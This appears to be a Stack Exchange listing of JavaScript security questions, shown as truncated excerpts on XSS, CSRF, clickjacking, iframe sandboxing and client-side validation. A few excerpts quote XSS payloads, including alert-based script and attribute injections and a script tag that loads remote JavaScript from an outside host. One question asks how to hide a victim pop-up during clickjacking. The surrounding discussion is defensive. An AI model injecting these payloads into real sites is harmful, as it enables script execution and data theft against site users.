Tagged Questions
2
votes
2answers
61 views
Is it safer to store the XSRF value inside your JavaScript?
To protect yourself against XSRF, you need to have a separate token on a page.
See: Coding Horror: Preventing CSRF and XSRF Attacks, by Jeff Atwood
As the posting suggests, its best to have those ...
3
votes
4answers
201 views
Obfuscating JavaScript code
Some Flash developers are afraid of JavaScript. Their point of view:
Stealing JS source code is effortless, one would just 'view source' and copy it. Yes, you can decompile Flash bytecode, however it ...
2
votes
1answer
130 views
How to hide victim pop-up in clickjacking?
I am testing a web application for click-jacking vulnerability. The attack works fine for single clicks, however i am trying to delete a file and the hidden frame (victim) throws a pop-up ...
6
votes
3answers
228 views
Is there a way to bypass Django's XSS escaping with “unicode”?
Django (the Python web framework) escapes output to prevent XSS (Cross Site Scripting) attacks. It replaces ', ", <, >, & with their HTML safe versions.
However this presentation on slide ...
12
votes
2answers
1k views
What does this injected code do?
One of my sites has just been hacked as this code has been inserted into random(?) files and places within the files.
Does anyone understand what it is trying to do? I would welcome anything that may ...
1
vote
1answer
179 views
bypass a regex filtration to perform an xss attack
Does the regex [\w/$!.*-]+$ stop the injection of payloads like :
"><script>alert(4)</script>
" onload="alert(4)"
...
-1
votes
1answer
145 views
can someone break my anti dom based xss from the window location? [closed]
can someone break my anti dom based xss from the window location ?
function parseparameters()
{
var href = window.location.href;
var id = href.indexOf('#');
if (id ...
0
votes
1answer
99 views
How does DOCTYPE selection affect security of my AJAX app?
I'm considering using modern techniques to protect my Javascript code and am studying how the DOCTYPE element selection may impact that. Specifically, the linked question used IFrames which are not ...
7
votes
1answer
353 views
What possible use does an iFrame have for security?
I'm looking at code for an old login form I'm redesigning. It's a simple table with two input fields for username and password.
But just before the end </table> tag there's a blank iFrame which ...
-2
votes
1answer
109 views
When logging into a web page what exactly happens when a user types the wrong password?
I have two related questions as to what happens when a user tries to log in to a website
If the entered password is wrong what should happen?
I have two ideas:
Redirect to a page saying "wrong ...
4
votes
4answers
343 views
How to prevent attacks against client side validations?
I have a login form where am accepting Mobile Number of the User for login.
When Mobile Number is submitted, am calling a JavaScript to validate the Mobile Number. My client side validations ...
2
votes
1answer
165 views
Black box testing javascript MVC web applications
I want to test a web application that has been built using the backbone.js framework.
Currently I have used a few tools for crawling and testing without any luck. When crawling the website they can ...
4
votes
3answers
995 views
Hiding JavaScript source code
In a web-app should one strive to hide as much of the code as possible, for example from view source? In particular I was wondering should JavaScript be hidden, especially ones used for Ajax? I was ...
3
votes
4answers
226 views
How can I constrain or limit 3rd party Javascript (*.js) files that can DOS my site?
Many website owners integrate Google analytics, various Facebook or Twitter social media javascript plug ins into their web pages. The problem is that this trust seems to be "all or nothing", meaning ...
3
votes
4answers
88 views
What is the technique to determine if a user is “reading” a page called? (similar to “infinite scroll”)
When I read an article at Salon.com I notice that the "overflow content" (where I need to scroll down) is loaded on demand. I can't imagine this being a useful bandwidth savings technique, so the ...
1
vote
4answers
938 views
Playing with Referrer Header
There are 2 sites:
http://www.site1.com
http://www.site2.com
http://www.site1.com contains link to http://www.site2.com as
<a href="http://www.site2.com/">link<a/>
When user clicks ...
1
vote
2answers
113 views
How do I holistically protect a web service from network and MITM attacks?
I have several financial web services that are accessed over HTTPS, however the client devices may be accessing the web services over untrusted WiFi, through questionable proxies, and possibly ToR ...
10
votes
1answer
367 views
How can I embed iframe securely without restricting its functionality?
I'd want to embed an iframe from untrusted site into web application. Iframe:
should be able to run Javascript and browser plugins (Flash, etc.)
should not be able to access my web application ...
3
votes
1answer
105 views
How can I use certificates to secure my webservices? What is available to javascript?
I have a few web services that are accessed over public wifi connections and I think it would be a good idea to issue certificates to encrypt data, prevent MITM, and invalid impersonation (beyond what ...
0
votes
0answers
54 views
open source web development plugins,scripts store information? [closed]
I'm wondering if open source plugins like wordpress,drupal or jquery and many more detect for example what websites are using their plugin.
If so, is there any plugin which can detect which website ...
0
votes
1answer
375 views
How to escape user input in a value of javascript object?
How to properly escape user-controlled input when it's inserted as a value in JSON object?
<script>
$(document).ready(function() {
new MyObject({
key1: "user_input",
key2: ...
7
votes
4answers
160 views
Limited JavaScript app scenario: Attack vectors and mitigation
I'm going to be developing a single page JavaScript app which allows input via a textarea. This input is never sent to the server, never shown to another user, and will only be persisted in browser ...
8
votes
2answers
185 views
User-specific Subdomains : JavaScript security
If I provide a public-facing website for users on my website at their own subdomain (e.g. bob.myapp.com) under their own control, can I allow them to execute arbitrary JavaScript without putting my ...
2
votes
3answers
1k views
Javascript Malware: How does it work, and how can it be mitigated?
I am wondering how malware gets served through Javascript. I've noticed a few illegitimate pop-ups while visiting some financial websites. I wonder how malware exploits work against the application ...
7
votes
4answers
658 views
Generate cryptographically strong pseudorandom numbers in Javascript?
Is there any good way to generate cryptographically strong pseudorandom (or true random) numbers in Javascript?
The crucial requirement: if a.com's Javascript generates some random numbers, no one ...
1
vote
5answers
704 views
Is it secure to use jQuery on the server-side for user input validation?
I'm thinking about using jQuery on the server-side (node.js) to validate user input (filter tags, remove every attributes except href, rel, target & style, modify css rules which are applied ...
3
votes
1answer
135 views
Client-side cross-site access in SSL environment - when it's still possible to do?
I'm trying to imagine an secure sandboxed environment for an application which is big and unexplored, and may contain backdoors. It would live under chroot/virtual environment with no outgoing ...
7
votes
4answers
916 views
Challenging challenge: client-side password hashing and server-side password verification
We have a website where users need to log in to access privileged information. Obviously we are using SSL, but I also want to avoid plaintext passwords from accidently ending up in server logs, or ...
2
votes
4answers
507 views
Without using SSL, what's the most secure way to make an AJAX request to a PHP page?
It was suggested over at stackoverflow that I try my question here. This is it verbatim:
So, it's impossible to do AJAX requests securely without using SSL. I get it. You can either view-source the ...
3
votes
2answers
331 views
HTML Vulnerabilities
My question is three-fold.
Background
I was asked to do some vulnerability scans on a website with some holes (I think). On a particular page, I was able to escape the text field and write on the ...
7
votes
3answers
572 views
How bad is a Self Contained XSS attack?
Some of you might be familiar with this attack called Self Contained XSS. I recently stumbled upon this article about it. So how bad this kind of attack can be, even though this doesn't have access to ...
10
votes
1answer
1k views
Best way to secure javascript front end/REST back end architecture web site?
I would like to build the following project:
public REST API back end which can be accessed by any authenticated client.
front end with static files in HTML/CSS/Javascript with Backbone.js jQuery ...
9
votes
3answers
739 views
localStorage for apps over https. What expectations are there?
I run an online gradebook. To keep student data private, I transfer all data over https.
Now, I'd like to use localStorage to avoid redundant calculations and server requests. However, according to ...
5
votes
1answer
115 views
Is it safe to allow untrusted field names in JSON?
When forming a JSON data structure, are there any security risks with allowing the field names to be chosen by an attacker? You can assume they'll be quoted properly. I'd like to know if allowing ...
13
votes
5answers
2k views
Preventing information disclosure from browser back button/history?
I have sensitive data that will be hosted on a website, and I would like to prevent the data from being exposed in this scenario:
The primary user logs off the application, but does not close the ...
1
vote
2answers
198 views
Is the OData Protocol susceptible to Insecure Direct Object References?
The Open Data Protocol or OData is a great protocol created on top of Web Technologies.It uses the URI convention for the data exchange using Atom, JSON and XML. You can use the URI convention ...
6
votes
3answers
513 views
How serious are XSS attacks
A website I visit allows this kind of attack, to be implemented with GET in the URL
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Along with many others on this page: ...
18
votes
2answers
3k views
Why is the same origin policy so important?
I can't really fully understand what same origin domain means. I know it means that when getting a resource from another domain (say a JS file) it will run from the context of the domain that serves ...
15
votes
2answers
347 views
What risks should I be aware of before allowing advertisements being placed on my website?
The thought of having a 3rd party send javascript, and images to end users seems to be a scary thought, but that is exactly what we are doing when I place advertisements onto my site.
Does serving ...
1
vote
3answers
754 views
Authentication between multiple systems/platforms within the same web application context
Consider the following scenario: Web application is using two separate systems (they can share data/state through DB). First one is used for processing standard web stuff like http requests/responses, ...
8
votes
2answers
588 views
Security Concerns on clientside(Javascript)
We are going to design and implement a UI for a big website. Owner of the site is really cautious about security issues. I wonder if there is a check list for security issues at the client-side ,while ...
11
votes
5answers
1k views
Solution to allow JavaScript input but prevent XSS
We have a simple Blog system that allows users to input html and JavaScript to build a blog page. I'm aware that allowing javascript open up the door to xss attacks. We do however need to allow users ...
21
votes
9answers
1k views
Why do some people really hate security via client-side?
For instance, lets look at a common login system for a website
HTTPS connection is made
User submits credentials via POST
Server-side code hashes the password and looks if it matches the user name
...
3
votes
2answers
1k views
How to protect from new Javascript Injection technique that doesn't use eval()?
There is a new Javascript injection technique that is generating chatter on the forums mentioned here
Here is the code sample:
String.prototype.code = function(){ return (new Function('with(this) { ...
5
votes
2answers
125 views
Protection against synthetic queries
Note: One, I am not sure if synthetic queries is right word for the risk I am talking about. Second, though I am considering 3-tier model of web-applications general answers are welcome in ...
0
votes
1answer
166 views
Replicating javascript actions from different website (XSS?)
I've got html / javascript code on my site like this:
<a ...
7
votes
3answers
505 views
Security attacks on PHP web applications
I know about following security attacks on php applications (html,php,js).
XSS
SQL Injection
CSFR
Session Hijacking /Fixation
Code Injection
Remote file injection
Should i know about any other or ...
6
votes
4answers
861 views
Escaping JavaScript constants
how can untrusted values be included in a html-page as javascript string constants? Although the case i am asking uses JSF and Rails, I think this is a general problem independent of the server side ...
2
votes
2answers
360 views
Is it possible to take down a site using javascript in the URL bar?
If a site is written poorly enough, is it possible to take it down or severely mess with it using only javascript in the URL bar?
